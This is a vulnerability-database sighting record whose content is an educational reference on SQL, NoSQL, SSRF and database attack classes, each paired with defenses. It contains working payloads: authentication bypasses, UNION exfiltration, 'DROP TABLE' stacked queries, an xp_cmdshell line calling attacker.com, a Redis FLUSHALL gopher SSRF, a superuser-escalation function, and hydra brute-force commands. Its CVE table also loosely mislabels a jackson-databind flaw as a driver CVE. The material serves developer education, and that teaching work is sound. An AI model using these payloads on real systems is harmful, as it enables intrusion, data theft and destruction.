{"vulnerability": "cve-2019-14540", "sightings": [{"uuid": "52e9a5ad-f7aa-4362-96bb-cb40423e2f19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-14540", "type": "seen", "source": "https://gist.github.com/rayepenber095/9265581788dc4d7e014abf52554d8b7f", "content": "# SQL Injection Attack Vectors \u2014 Deep Research Reference\n\n&gt; **Scope:** This document covers every major SQL injection and database-layer attack class, how each one works mechanically, what it looks like in real payloads, how it differs from the others, and what actually stops it.\n\n---\n\n## Table of Contents\n\n1. [Classic SQL Injection](#1-classic-sql-injection)\n2. [Dynamic Table / Column Injection](#2-dynamic-table--column-injection)\n3. [ORM Operator Injection](#3-orm-operator-injection)\n4. [Second-Order Injection](#4-second-order-injection)\n5. [Stored Procedure Dynamic SQL](#5-stored-procedure-dynamic-sql)\n6. [LIKE Wildcard Abuse](#6-like-wildcard-abuse)\n7. [DB Driver CVE (e.g., CVE-2022-21724)](#7-db-driver-cve-eg-cve-2022-21724)\n8. [Search Path Injection (CVE-2018-1058)](#8-search-path-injection-cve-2018-1058)\n9. [Credential Stuffing on DB Port](#9-credential-stuffing-on-db-port)\n10. [NoSQL Injection (Parallel Stack)](#10-nosql-injection-parallel-stack)\n11. [SSRF to Internal DB](#11-ssrf-to-internal-db)\n12. [Comparison Matrix](#12-comparison-matrix)\n13. [Defense Cheat Sheet](#13-defense-cheat-sheet)\n\n---\n\n## 1. Classic SQL Injection\n\n### What It Is\n\nThe original, most well-known attack. User-controlled input is concatenated directly into a SQL string without being treated as data. The attacker's text is parsed as SQL syntax, letting them alter the query's logic.\n\n### How It Works\n\nA login form might generate this query:\n\n```sql\n-- Vulnerable code (Python string concatenation)\nquery = \"SELECT * FROM users WHERE username='\" + username + \"' AND password='\" + password + \"'\"\n```\n\nThe developer expects `username = alice`, producing:\n\n```sql\nSELECT * FROM users WHERE username='alice' AND password='secret'\n```\n\nAn attacker submits `username = ' OR '1'='1' --`:\n\n```sql\nSELECT * FROM users WHERE username='' OR '1'='1' --' AND password='anything'\n```\n\nThe `--` comments out the rest. `'1'='1'` is always true, so every row matches and the attacker logs in as the first user (often an admin).\n\n### Attack Variations\n\n| Variant | Technique | Goal |\n|---|---|---|\n| **UNION-based** | `' UNION SELECT username,password,null FROM users --` | Exfiltrate data in-band |\n| **Boolean-based blind** | `' AND 1=1 --` vs `' AND 1=2 --` | Infer data one bit at a time from different app responses |\n| **Time-based blind** | `'; IF (1=1) WAITFOR DELAY '0:0:5' --` | Infer data by measuring response time |\n| **Error-based** | `' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()))) --` | Extract data via DB error messages |\n| **Stacked queries** | `'; DROP TABLE users; --` | Run arbitrary second query (driver-dependent) |\n| **Out-of-band** | `'; EXEC xp_cmdshell('nslookup attacker.com') --` | Exfiltrate via DNS/HTTP when in-band is blind |\n\n### Real Payload Examples\n\n```\n-- Bypass authentication\n' OR 1=1 --\nadmin'--\n' OR 'x'='x\n\n-- UNION exfiltration (determine column count first)\n' ORDER BY 3 --        &lt;- increases until error; 3 columns confirmed\n' UNION SELECT null,null,null --\n' UNION SELECT table_name,null,null FROM information_schema.tables --\n\n-- Time-based blind (PostgreSQL)\n'; SELECT pg_sleep(5) --\n\n-- Time-based blind (MySQL)\n' AND SLEEP(5) --\n\n-- Time-based blind (MSSQL)\n'; WAITFOR DELAY '0:0:5' --\n```\n\n### What Stops It\n\n**Parameterized queries / prepared statements.** The query structure is sent to the DB engine separately from the data. The DB parser never sees the user's value as SQL text \u2014 it is bound as a typed parameter after parsing.\n\n```python\n# SAFE \u2014 parameterized\ncursor.execute(\"SELECT * FROM users WHERE username = %s AND password = %s\", (username, password))\n\n# UNSAFE \u2014 concatenation\ncursor.execute(\"SELECT * FROM users WHERE username = '\" + username + \"'\")\n```\n\nParameterization is 100% effective against classic SQLi because the user value is *never interpreted as SQL*.\n\n---\n\n## 2. Dynamic Table / Column Injection\n\n### What It Is\n\nParameterized queries bind **values** (strings, integers, dates). They cannot bind **structural SQL identifiers** \u2014 table names, column names, `ORDER BY` fields, or keywords like `ASC`/`DESC`. When an application builds these dynamically from user input, parameterization offers zero protection.\n\n### How It Works\n\nAn API lets users sort results:\n\n```python\n# Developer thinks parameterization works here \u2014 it does NOT\ncolumn = request.args.get(\"sort\")\nquery = f\"SELECT * FROM products ORDER BY {column}\"\n```\n\n`column = price` \u2192 `ORDER BY price` \u2014 works fine.  \n`column = price; DROP TABLE products; --` \u2192 catastrophic stacked query.\n\nMore subtly:\n\n```\ncolumn = (SELECT password FROM users LIMIT 1)\n```\n\n\u2192 `ORDER BY (SELECT password FROM users LIMIT 1)` \u2014 this actually executes and the sort behavior leaks information about the password string.\n\n### Attack Variations\n\n```sql\n-- Information extraction via sort order (boolean blind)\n-- If the first character of the admin password is 'a', rows sort one way; else another\nORDER BY (SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN price ELSE name END FROM users WHERE role='admin')\n\n-- Table name injection\nSELECT * FROM [user_controlled_table]    -- attacker pivots to a sensitive table\n\n-- Schema discovery\nSELECT * FROM information_schema.columns WHERE table_name = '[input]'\n```\n\n### Real Payload Examples\n\n```\nGET /products?sort=price                   -- benign\nGET /products?sort=(SELECT+sleep(5))       -- time-based blind\nGET /products?sort=1;DROP+TABLE+users;--   -- destructive\nGET /products?sort=CASE+WHEN+(SELECT+COUNT(*)+FROM+users)&gt;0+THEN+price+ELSE+name+END\n```\n\n### What Stops It\n\n**Allowlist validation** \u2014 never SQL escaping or parameterization for identifiers.\n\n```python\nALLOWED_SORT_COLUMNS = {\"price\", \"name\", \"created_at\"}\nALLOWED_DIRECTIONS = {\"ASC\", \"DESC\"}\n\nsort_col = request.args.get(\"sort\", \"name\")\ndirection = request.args.get(\"dir\", \"ASC\").upper()\n\nif sort_col not in ALLOWED_SORT_COLUMNS or direction not in ALLOWED_DIRECTIONS:\n    abort(400)\n\nquery = f\"SELECT * FROM products ORDER BY {sort_col} {direction}\"\n```\n\nOnly safe, pre-approved strings are ever interpolated. User input never reaches SQL directly.\n\n---\n\n## 3. ORM Operator Injection\n\n### What It Is\n\nObject-Relational Mappers (Django ORM, Mongoose, Sequelize, Prisma, etc.) accept structured query operators from code. Some applications pass HTTP request keys or values directly into these operator dictionaries, letting an attacker inject operators that change query semantics without writing a single character of SQL.\n\n### How It Works\n\n**Mongoose (MongoDB) example:**\n\n```javascript\n// Vulnerable \u2014 spreads request body directly into query\nconst user = await User.findOne({ username: req.body.username, password: req.body.password });\n```\n\nNormal request: `{ \"username\": \"alice\", \"password\": \"secret\" }`  \nAttack request: `{ \"username\": \"alice\", \"password\": { \"$gt\": \"\" } }`\n\nMongoDB interprets `{ \"$gt\": \"\" }` as \"password greater than empty string\" \u2014 which is true for *any* non-empty password. Authentication bypassed.\n\n**Django ORM example:**\n\n```python\n# Vulnerable \u2014 passes request data keys as ORM field lookups\nUser.objects.filter(**request.GET.dict())\n```\n\nAn attacker crafts: `GET /users?username=alice&amp;password__isnull=true`\n\nDjango's ORM expands `password__isnull=true` into `WHERE password IS NULL`, completely bypassing the password check.\n\n### Attack Variations\n\n| ORM | Dangerous Operators | Effect |\n|---|---|---|\n| Mongoose | `$gt`, `$ne`, `$where`, `$regex` | Auth bypass, data exfil, JS execution |\n| Django | `__isnull`, `__in`, `__regex`, `__startswith` | Logic bypass, data enumeration |\n| Sequelize | `[Op.or]`, `[Op.like]`, `[Op.regexp]` | Logic manipulation |\n| ActiveRecord | Hash conditions, `where(params)` | Mass assignment / logic bypass |\n\n### Real Payload Examples\n\n```json\n// Mongoose auth bypass via $ne (not equal)\nPOST /login\n{ \"username\": { \"$ne\": null }, \"password\": { \"$ne\": null } }\n\n// Mongoose regex enumeration \u2014 extracts passwords character by character\n{ \"username\": \"admin\", \"password\": { \"$regex\": \"^a\" } }\n{ \"username\": \"admin\", \"password\": { \"$regex\": \"^ab\" } }\n\n// Django field injection\nGET /api/users?is_superuser=true\nGET /api/users?email__startswith=admin\nGET /api/users?date_joined__year=2020&amp;is_staff=true\n```\n\n### What Stops It\n\n**Request schema validation.** Define the exact shape of every API input before it touches the ORM.\n\n```python\n# Pydantic schema validation (Python / FastAPI)\nclass LoginRequest(BaseModel):\n    username: str\n    password: str\n    # Only these two fields. No operator keys possible.\n\n# Only accepts plain strings, not dicts or operator objects\n```\n\n```javascript\n// Joi schema (Node.js)\nconst schema = Joi.object({\n  username: Joi.string().alphanum().required(),\n  password: Joi.string().required()\n  // Rejects any key that isn't username/password\n  // Rejects any value that isn't a plain string\n});\n```\n\n---\n\n## 4. Second-Order Injection\n\n### What It Is\n\nData is stored safely (input is escaped or parameterized when written), but later retrieved and used **unsafely** in a second SQL statement. The injection payload \"sleeps\" in the database and detonates later, often in a completely different part of the application or in admin tooling.\n\n### How It Works\n\n**Step 1 \u2014 Store safely:**\n\n```python\n# Registration \u2014 input is parameterized. Safe write.\ncursor.execute(\"INSERT INTO users (username) VALUES (%s)\", (username,))\n```\n\nAttacker registers with username: `admin'--`  \nDatabase stores the string literally: `admin'--` \u2014 no harm yet.\n\n**Step 2 \u2014 Retrieve and reuse unsafely:**\n\n```python\n# Password-change flow \u2014 retrieves stored username and concatenates it into new query\nuser = cursor.execute(\"SELECT username FROM users WHERE id = %s\", (session['id'],))\nstored_name = user[0]  # Retrieved from DB: admin'--\n\n# Developer assumes DB values are safe \u2014 WRONG\ncursor.execute(\"UPDATE users SET password = '\" + new_password + \"' WHERE username = '\" + stored_name + \"'\")\n```\n\nThis executes:\n```sql\nUPDATE users SET password = 'newpass' WHERE username = 'admin'--'\n```\n\nThe `--` comments out the closing quote and rest of the WHERE clause, so the UPDATE affects the `admin` account instead of the attacker's account. Attacker now controls the admin password.\n\n### Why It's Especially Dangerous\n\n- Input validation and parameterization at the *entry* point don't help \u2014 data looks safe when stored.\n- The vulnerable query is often in a *different subsystem*: admin panels, batch jobs, reports, logging pipelines, email templates.\n- Traditional scanning tools and code reviews focused on HTTP entry points may miss it entirely.\n- May lie dormant for months before triggering.\n\n### Real-World Scenario\n\n```\n1. Attacker creates username: '); INSERT INTO admins VALUES ('hacker','pwned')--\n2. App stores this safely via parameterized insert.\n3. A cron job runs nightly: \"SELECT username FROM users WHERE active=1\"\n   Then for each user: \"EXEC sp_send_email '\" + username + \"'\"\n4. The stored payload executes inside the cron job's dynamic SQL.\n```\n\n### What Stops It\n\nTreat data retrieved from the database with the **same distrust as raw user input**. Any value that originated outside your code \u2014 including your own database rows \u2014 must be parameterized when used in a subsequent query.\n\n```python\n# WRONG \u2014 trusting that DB values are safe\nname_from_db = row['username']\ncursor.execute(\"UPDATE logs SET entry = '\" + name_from_db + \"'\")  # Still injectable\n\n# CORRECT \u2014 parameterize regardless of source\ncursor.execute(\"UPDATE logs SET entry = %s\", (name_from_db,))\n```\n\n---\n\n## 5. Stored Procedure Dynamic SQL\n\n### What It Is\n\nStored procedures are commonly believed to prevent SQL injection \u2014 and they do, **if written correctly**. But a stored procedure that builds a SQL string internally and executes it with `EXEC` or `sp_executesql` is vulnerable in exactly the same way as application-level string concatenation.\n\n### How It Works\n\n```sql\n-- VULNERABLE stored procedure\nCREATE PROCEDURE SearchProducts @category NVARCHAR(100)\nAS BEGIN\n    DECLARE @sql NVARCHAR(500)\n    SET @sql = 'SELECT * FROM products WHERE category = ''' + @category + ''''\n    EXEC(@sql)  -- Executes dynamically built string \u2014 injectable\nEND\n```\n\nCalling it safely: `EXEC SearchProducts 'electronics'`  \nCalling it maliciously: `EXEC SearchProducts 'x'' UNION SELECT username,password,null FROM users --'`\n\nThe procedure call itself is parameterized from the app, but the injection happens *inside* the procedure when `@sql` is constructed.\n\n### The Misconception\n\nMost developers call the procedure like this:\n\n```python\ncursor.execute(\"EXEC SearchProducts %s\", (user_input,))  # Parameterized call\n```\n\nThey believe parameterization here closes the risk. It does \u2014 but only for the outer call. The dynamic SQL *inside* the procedure is a separate, new SQL execution with its own injection surface.\n\n### Safe Rewrite Using sp_executesql\n\n```sql\n-- SAFE \u2014 uses parameterized dynamic SQL inside the procedure\nCREATE PROCEDURE SearchProducts @category NVARCHAR(100)\nAS BEGIN\n    DECLARE @sql NVARCHAR(500)\n    SET @sql = N'SELECT * FROM products WHERE category = @cat'\n    EXEC sp_executesql @sql, N'@cat NVARCHAR(100)', @cat = @category\n    -- @category is bound as a parameter to the inner dynamic query\nEND\n```\n\n### What Stops It\n\nFix the procedure itself, not just the application call. Audit every stored procedure for `EXEC(@sql)` patterns and replace with `sp_executesql` with proper parameter binding.\n\n---\n\n## 6. LIKE Wildcard Abuse\n\n### What It Is\n\nSQL's `LIKE` operator uses two special characters: `%` (match any sequence) and `_` (match any single character). When user input is bound as a parameterized value inside a `LIKE` clause, these characters are **not** stripped or escaped by the DB driver \u2014 they remain functional as wildcards. This is not classic injection (no SQL structure is altered), but it enables performance attacks and data enumeration.\n\n### How It Works\n\n```python\n# Parameterized \u2014 no SQL injection possible\ncursor.execute(\"SELECT * FROM users WHERE email LIKE %s\", ('%' + search_term + '%',))\n```\n\nIf `search_term = '%'`, the query becomes:\n\n```sql\nSELECT * FROM users WHERE email LIKE '%%%'\n```\n\nWhich matches **every row** in the table \u2014 a full table scan on potentially millions of records.\n\nIf `search_term = 'a%a%a%a%a%a%a%a%a%'`, the LIKE engine backtracks exponentially through the string \u2014 a Regex DoS-equivalent for SQL (ReDoS-style).\n\n### Attack Scenarios\n\n```\n-- Enumeration: Is there a user whose email starts with \"admin\"?\nsearch = \"admin%\"    \u2192 LIKE 'admin%'    \u2192 leaks existence\n\n-- Single-char wildcard enumeration\nsearch = \"a_min\"     \u2192 LIKE 'a_min'     \u2192 matches \"admin\", \"abmin\", etc.\n\n-- Performance attack (full scan)\nsearch = \"%\"         \u2192 LIKE '%%%'       \u2192 returns all rows, kills DB\n\n-- Catastrophic backtracking\nsearch = \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab%\"  \u2192 exponential evaluation time\n```\n\n### What Stops It\n\nEscape wildcard characters before binding. This is not handled automatically by drivers.\n\n```python\ndef escape_like(value: str) -&gt; str:\n    return value.replace(\"\\\\\", \"\\\\\\\\\").replace(\"%\", \"\\\\%\").replace(\"_\", \"\\\\_\")\n\nsafe_term = escape_like(user_input)\ncursor.execute(\"SELECT * FROM users WHERE email LIKE %s ESCAPE '\\\\'\", ('%' + safe_term + '%',))\n```\n\nAlso enforce maximum input length and consider rate limiting search endpoints.\n\n---\n\n## 7. DB Driver CVE (e.g., CVE-2022-21724)\n\n### What It Is\n\nA vulnerability in the database **driver itself** (the library your application uses to connect to the database), rather than in your SQL code. These are exploitable regardless of whether your queries are parameterized, because the flaw lies in how the driver processes connection strings, data types, protocol messages, or authentication flows.\n\n### CVE-2022-21724 \u2014 pgjdbc (PostgreSQL JDBC Driver)\n\n**Affected:** pgjdbc versions before 42.3.3, 42.2.26  \n**Vector:** JDBC connection string parameter injection\n\nThe pgjdbc driver allowed certain connection string parameters to be passed through user-controlled input without sufficient sanitization. An attacker who could influence the JDBC URL (e.g., via a multi-tenant system that builds connection strings from user-supplied database host/name fields) could inject additional parameters:\n\n```\njdbc:postgresql://host/db?socketFactory=org.postgresql.ssl.NonValidatingFactory&amp;socketFactoryArg=...\n```\n\nBy injecting `socketFactory` or `sslfactory` parameters, an attacker could:\n- Disable SSL validation (enabling MITM attacks)\n- Load arbitrary classes (potential RCE depending on classpath)\n- Redirect the connection to an attacker-controlled host\n\n### Other Notable Driver CVEs\n\n| CVE | Driver | Vulnerability |\n|---|---|---|\n| CVE-2022-21724 | pgjdbc | Connection string parameter injection |\n| CVE-2021-22118 | Spring Data | JDBC URL injection in multi-datasource configs |\n| CVE-2019-14540 | jackson-databind | Deserialization via DB driver gadget chains |\n| CVE-2016-6662 | MySQL Server | mysql_config_editor privilege escalation |\n| CVE-2015-3152 | libmysqlclient | MITM via SSL downgrade (\"BACKRONYM\") |\n\n### Why It's Different From SQL Injection\n\n- Your SQL is perfectly written \u2014 parameterized, no dynamic strings\n- The vulnerability is in **how the driver communicates**, not in your queries\n- Exploitation often happens at **connection time**, before any query is sent\n- May affect every application using the driver, regardless of coding quality\n\n### What Stops It\n\n- **Patch your drivers.** Keep database driver versions pinned to the latest patched release. Include them in your dependency CVE scanning pipeline (Dependabot, Snyk, OWASP Dependency-Check).\n- **Never build JDBC/connection URLs from user input.**\n- Subscribe to the driver project's security advisories.\n\n---\n\n## 8. Search Path Injection (CVE-2018-1058)\n\n### What It Is\n\nPostgreSQL (and some other databases) use a **search path** \u2014 an ordered list of schemas that the database checks when resolving unqualified object names. CVE-2018-1058 describes a class of attack where a low-privileged user creates a function or object in a schema that appears earlier in the search path than the intended schema, causing privileged code to unknowingly execute the attacker's object.\n\n### How PostgreSQL Schema Resolution Works\n\n```sql\n-- If search_path = public, pg_catalog\nSELECT * FROM users;\n-- PostgreSQL looks for: public.users first, then pg_catalog.users\n```\n\n### The Attack\n\n1. A database has `search_path = \"$user\", public` (common default).\n2. A superuser runs a maintenance script that calls `SELECT my_utility_func()` \u2014 unqualified.\n3. A low-privilege attacker creates: `CREATE FUNCTION public.my_utility_func() RETURNS void AS $$ BEGIN EXECUTE 'GRANT SUPERUSER TO attacker'; END $$ LANGUAGE plpgsql SECURITY DEFINER;`\n4. When the superuser's script calls `my_utility_func()`, PostgreSQL resolves it to `public.my_utility_func()` \u2014 the attacker's function \u2014 and executes it with superuser privileges (`SECURITY DEFINER`).\n\n### Variants\n\n```sql\n-- Hijack a built-in operator\nCREATE FUNCTION public.=(text,text) RETURNS bool AS $$ ...attacker code... $$ LANGUAGE plpgsql;\n-- Any comparison of text values now routes through attacker's function\n\n-- Hijack a trusted extension function\n-- If an extension installed to \"public\" calls unqualified helpers, those can be hijacked\n```\n\n### Real Impact\n\n- A low-privilege DB user (e.g., the application's DB account) can escalate to superuser\n- Affects scheduled jobs, pg_dump, vacuuming, and extension code\n- Completely invisible to the application \u2014 no anomalous SQL is ever sent\n\n### What Stops It\n\n**Always qualify schema names** in SQL code, stored procedures, and extension code:\n\n```sql\n-- VULNERABLE\nSELECT * FROM users;\nEXECUTE my_function();\n\n-- SAFE\nSELECT * FROM myapp.users;\nEXECUTE myapp.my_function();\n```\n\nAlso set a restrictive, explicit search path for every database role:\n\n```sql\nALTER ROLE app_user SET search_path = myapp;  -- Only myapp schema, not public\n```\n\n---\n\n## 9. Credential Stuffing on DB Port\n\n### What It Is\n\nThis is not a SQL injection attack \u2014 it is a **network-level** attack. Database servers expose ports (PostgreSQL: 5432, MySQL: 3306, MSSQL: 1433, MongoDB: 27017, Redis: 6379). If these ports are reachable from the internet or from untrusted network segments, an attacker can attempt to authenticate directly to the database using credential lists from previous data breaches.\n\n### How It Works\n\n```\n1. Attacker obtains a credential dump from a previous breach (e.g., rockyou2021.txt).\n2. Scans the internet for open port 5432 (PostgreSQL).\n3. Attempts each username:password pair directly against the DB server.\n4. If successful, attacker has a direct psql shell \u2014 no application layer involved.\n5. No injection needed. No logs in the application. Direct data access.\n```\n\n### Tools Used by Attackers\n\n```bash\n# Hydra \u2014 brute-force any DB\nhydra -L users.txt -P passwords.txt postgresql://target:5432/dbname\n\n# Medusa\nmedusa -h target -U users.txt -P passwords.txt -M postgres\n\n# Shodan queries to find exposed DBs\nport:5432 PostgreSQL\nport:27017 MongoDB  \u2190 historically huge problem; many MongoDB instances had no auth\nport:6379 Redis     \u2190 Redis had no auth by default for years\n```\n\n### Why This Is Categorically Different\n\nAll other attacks in this document exploit flaws in SQL code, configuration, or the driver. Credential stuffing bypasses all of that:\n- A perfectly written application with no SQL injection\n- Full parameterization, ORM validation, schema qualification\n- Still fully compromised if the DB port is reachable and credentials are weak/reused\n\n### Real-World Scale\n\nMongoDB's \"Meow Attack\" (2020): automated bot scanned for open MongoDB instances (no auth required in older defaults) and deleted all databases, leaving a file named \"meow\". Approximately 4,000 databases were wiped.\n\n### What Stops It\n\n- **Network firewall:** DB ports must never be reachable from the internet. Bind to localhost or a private network interface only.\n- **Allowlist IP rules:** DB server should only accept connections from known application server IPs.\n- **Strong, unique credentials:** No shared passwords with other systems.\n- **Disable remote root / superuser login.**\n- **Monitoring and alerting:** Alert on repeated authentication failures.\n\n---\n\n## 10. NoSQL Injection (Parallel Stack)\n\n### What It Is\n\nNoSQL databases (MongoDB, Redis, CouchDB, Cassandra, Elasticsearch, Firebase) have their own query languages and input parsing mechanisms. \"NoSQL injection\" is an umbrella term for attacks that manipulate these mechanisms \u2014 entirely separate from SQL, but analogous in concept.\n\n### MongoDB Operator Injection\n\nAlready covered partially in \u00a73. The full scope:\n\n```javascript\n// Authentication bypass via $ne\n{ \"username\": \"admin\", \"password\": { \"$ne\": \"x\" } }\n// Matches: password != \"x\" \u2014 true for any real password\n\n// Data enumeration via $where (JavaScript execution \u2014 extremely dangerous)\n{ \"$where\": \"this.username.match(/admin/)\" }\n\n// $where for time-based blind extraction\n{ \"$where\": \"if(this.password[0] == 'a') { sleep(5000); return true; } return false;\" }\n// If response takes 5s, first char of password is 'a'\n\n// Array operator abuse\n{ \"username\": { \"$in\": [\"admin\", \"administrator\", \"root\"] } }\n```\n\n### Redis Injection\n\nRedis commands are sent as plain text. If user input reaches a raw Redis command:\n\n```\n// Application builds: HGET user:{id} password\n// Attacker controls id: 1\\r\\nFLUSHALL\\r\\n\n// Sends: HGET user:1\\r\\nFLUSHALL\\r\\n  \u2190 two commands; FLUSHALL wipes all data\n```\n\n### Elasticsearch Injection\n\nElasticsearch uses JSON query DSL. If user input is interpolated:\n\n```json\n{\n  \"query\": {\n    \"match\": {\n      \"name\": \"user_input_here\"\n    }\n  }\n}\n```\n\nAttacker input: `{\"match_all\": {}}` (if parsed as object rather than string)  \n\u2192 Returns all documents in the index.\n\n### CouchDB / Firebase\n\nMap-reduce views and Firebase rules can be bypassed via operator/path injection if user data is used in view keys or rule evaluation.\n\n### Key Difference from SQL Injection\n\n| Dimension | SQL Injection | NoSQL Injection |\n|---|---|---|\n| Query language targeted | SQL (structured text) | JSON, BSON, Redis protocol, DSL |\n| Injection character | `'`, `--`, `;` | `$`, `{`, `}`, `\\r\\n`, object nesting |\n| Parameterization fix? | Yes (fully) | Partially \u2014 operators inject via structure |\n| JavaScript execution risk | Indirect (via SQL functions) | Direct (`$where` in MongoDB) |\n\n### What Stops It\n\n- **Input schema validation** \u2014 reject any value that is not a plain scalar (string, number, boolean) when a scalar is expected. Reject object/array values at the API boundary.\n- **Disable dangerous operators** \u2014 disable MongoDB's `$where` and `mapReduce` if not needed. Use `mongod --noscripting`.\n- **Use typed ODM/ORM layers** (Mongoose schemas) with strict mode enabled.\n- **For Redis:** use a client library that sends commands as RESP arrays, never raw string concatenation.\n\n---\n\n## 11. SSRF to Internal DB\n\n### What It Is\n\nServer-Side Request Forgery (SSRF) is a class of attack where an attacker tricks the server into making HTTP (or other protocol) requests to internal destinations. When combined with databases that expose HTTP APIs or use text-based protocols, SSRF can be used to query or manipulate the database without any SQL injection.\n\n### How It Works\n\n**CouchDB / Elasticsearch example:**\n\n```\n1. Application has a feature: \"Fetch remote image from URL\"\n2. Server makes an outbound HTTP request to the user-supplied URL\n3. Attacker supplies: http://localhost:9200/_cat/indices?v  (Elasticsearch's REST API)\n4. Server fetches this URL and returns the response \u2014 exposing all ES index names\n5. Further: http://localhost:9200/users/_search?q=*  \u2192 dumps all user documents\n6. DELETE via SSRF: the server can make POST/DELETE requests internally\n```\n\n**Redis SSRF via Gopher protocol:**\n\n```\ngopher://localhost:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A\n```\n\nThis is a URL-encoded Redis command (`FLUSHALL`) delivered over the `gopher://` scheme. Many HTTP libraries support gopher, and Redis speaks plain text \u2014 so a single SSRF request can execute arbitrary Redis commands.\n\n**MongoDB REST API (deprecated but existed):**\n\n```\nhttp://localhost:28017/admin/   \u2192 MongoDB admin interface\nhttp://localhost:28017/users/?filter_username=admin  \u2192 Query users collection\n```\n\n### Why It's Different From Everything Else\n\nSSRF is not a database flaw at all \u2014 it is an application-level flaw in a feature that makes outbound requests. The database might be perfectly configured, with no exposed external ports, no weak passwords. But if one application endpoint can be redirected to localhost, the entire internal network becomes accessible, including databases that are intentionally not internet-facing.\n\n```\nInternet \u2192 [App Server (SSRF vuln)] \u2192 [Internal DB on 127.0.0.1:9200]\n                                            \u2191\n                                    Never directly reachable from internet\n                                    but reachable via SSRF\n```\n\n### What Stops It\n\n**SSRF Protection:**\n- Validate and allowlist URLs before the server makes outbound requests.\n- Block requests to `127.0.0.1`, `::1`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16` (link-local / cloud metadata).\n- Disable dangerous URL schemes: `gopher://`, `file://`, `dict://`, `ftp://`.\n- Use a dedicated outbound proxy that enforces the allowlist.\n- Even with SSRF protection, databases with HTTP APIs should require authentication.\n\n---\n\n## 12. Comparison Matrix\n\n| Attack | SQL Text Injected? | Parameterization Stops It? | Fix Location | Difficulty to Detect |\n|---|---|---|---|---|\n| Classic SQLi | \u2705 Yes | \u2705 Yes | Application query layer | Low (scanners find it) |\n| Dynamic table/column | \u2705 Yes | \u274c No | Application allowlist | Medium |\n| ORM operator injection | \u274c No (structure) | \u274c No | API input schema | Medium |\n| Second-order injection | \u2705 Yes | \u274c Partial* | All query layers | High |\n| Stored proc dynamic SQL | \u2705 Yes (inside proc) | \u274c No | Stored procedure code | High |\n| LIKE wildcard abuse | \u274c No | \u274c No (params preserve %) | Wildcard escaping | Low |\n| DB driver CVE | \u274c No | \u274c No | Driver patch | Low (if CVE is known) |\n| Search path injection | \u274c No (schema hijack) | \u274c No | Schema qualification | Very High |\n| Credential stuffing | \u274c No | \u274c No | Network firewall | Medium |\n| NoSQL injection | \u274c No (JSON/DSL) | \u274c Partial | Input schema validation | Medium |\n| SSRF to DB | \u274c No | \u274c No | SSRF protection layer | High |\n\n*Second-order: parameterization stops it if applied to **all** downstream queries, not just the entry point.\n\n---\n\n## 13. Defense Cheat Sheet\n\n### Application Layer\n\n```python\n# 1. Always parameterize \u2014 no exceptions\ncursor.execute(\"SELECT * FROM t WHERE id = %s\", (user_id,))\n\n# 2. Allowlist structural identifiers\nassert column_name in {\"id\", \"name\", \"email\"}\n\n# 3. Validate input schema strictly\nclass SearchInput(BaseModel):\n    q: str = Field(max_length=100)  # Plain string only; no nested objects\n\n# 4. Treat DB output as untrusted (second-order defense)\ncursor.execute(\"UPDATE t SET x = %s WHERE y = %s\", (value_from_db, condition))\n\n# 5. Escape LIKE wildcards\nsafe = user_input.replace(\"%\", \"\\\\%\").replace(\"_\", \"\\\\_\")\n```\n\n### Database Layer\n\n```sql\n-- 6. Qualify all schema names\nSELECT * FROM myapp.users;  -- not: SELECT * FROM users\n\n-- 7. Restrict search path per role\nALTER ROLE app_user SET search_path = myapp;\n\n-- 8. Use sp_executesql inside stored procedures (MSSQL)\nEXEC sp_executesql @sql, N'@param NVARCHAR(100)', @param = @input;\n\n-- 9. Principle of least privilege\nGRANT SELECT, INSERT, UPDATE ON myapp.orders TO app_user;\n-- Never: GRANT ALL PRIVILEGES ON *.* TO app_user;\n```\n\n### Infrastructure Layer\n\n```bash\n# 10. Never expose DB ports to internet\niptables -A INPUT -p tcp --dport 5432 -s 10.0.1.0/24 -j ACCEPT\niptables -A INPUT -p tcp --dport 5432 -j DROP\n\n# 11. Keep drivers patched\npip list --outdated | grep -i psycopg\nnpm audit\n\n# 12. Block SSRF to internal ranges (nginx / WAF rule)\n# Deny requests to RFC1918 and loopback\n```\n\n### NoSQL Specific\n\n```javascript\n// 13. Reject non-scalar values at API boundary\nif (typeof req.body.password !== 'string') return res.status(400).send('Invalid');\n\n// 14. Disable MongoDB scripting\nmongod --setParameter javascriptEnabled=0\n\n// 15. Use Mongoose strict schema\nconst userSchema = new Schema({ username: String, password: String }, { strict: true });\n// strict: true rejects any keys not in the schema\n```\n\n---\n\n## References\n\n- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection\n- OWASP Testing Guide \u2014 ORM Injection: https://owasp.org/www-project-web-security-testing-guide/\n- CVE-2022-21724 (pgjdbc): https://nvd.nist.gov/vuln/detail/CVE-2022-21724\n- CVE-2018-1058 (PostgreSQL search path): https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058\n- PortSwigger SQL Injection Labs: https://portswigger.net/web-security/sql-injection\n- MongoDB Operator Injection: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection\n- SSRF Bible: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery\n- PayloadsAllTheThings SQL Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection\n\n---\n\n*Document generated for security research and developer education. All payloads shown for defensive understanding only.*", "creation_timestamp": "2026-05-22T12:39:13.000000Z"}]}